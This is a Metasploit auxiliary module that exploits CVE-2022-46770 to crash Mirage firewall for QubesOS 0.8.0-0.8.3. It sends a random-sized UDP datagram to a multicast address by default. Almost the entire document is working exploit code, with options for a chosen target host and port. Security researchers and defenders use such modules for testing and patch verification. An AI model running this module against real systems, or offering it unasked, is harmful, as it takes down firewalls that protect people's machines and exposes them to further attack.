Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit',  
'Description' => %q{  
This module allows remote attackers to cause a denial of service (DoS)  
in Mirage firewall for QubesOS 0.8.0-0.8.3 via a specifically crafted UDP request.  
},  
'Author' => 'Krzysztof Burghardt <[email protected]>',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2022-46770' ],  
[ 'URL', 'https://mirage.io/blog/MSA03' ],  
[ 'URL', 'https://github.com/mirage/qubes-mirage-firewall/issues/166' ],  
],  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DisclosureDate' => '2022-12-04'  
)  
)  
  
register_options(  
[  
OptAddress.new('RHOST', [ false, 'Target address (Default: random)' ]),  
OptPort.new('RPORT', [ false, 'Target port (Default: random)' ]),  
]  
)  
  
deregister_options('RHOSTS')  
end  
  
def run  
rhost = datastore['RHOST'] || [239, 255, Random.new.rand(255), Random.new.rand(255)].join('.')  
rport = datastore['RPORT'] || Random.new.rand(65535)  
connect_udp(true, 'RHOST' => rhost, 'RPORT' => rport)  
  
size = Random.new.rand(336...1472)  
pkt = Random.new.bytes(size)  
print_status("Sending random datagram of #{size} bytes to #{rhost}:#{rport}...")  
udp_sock.put(pkt)  
  
disconnect_udp  
end  
end  
`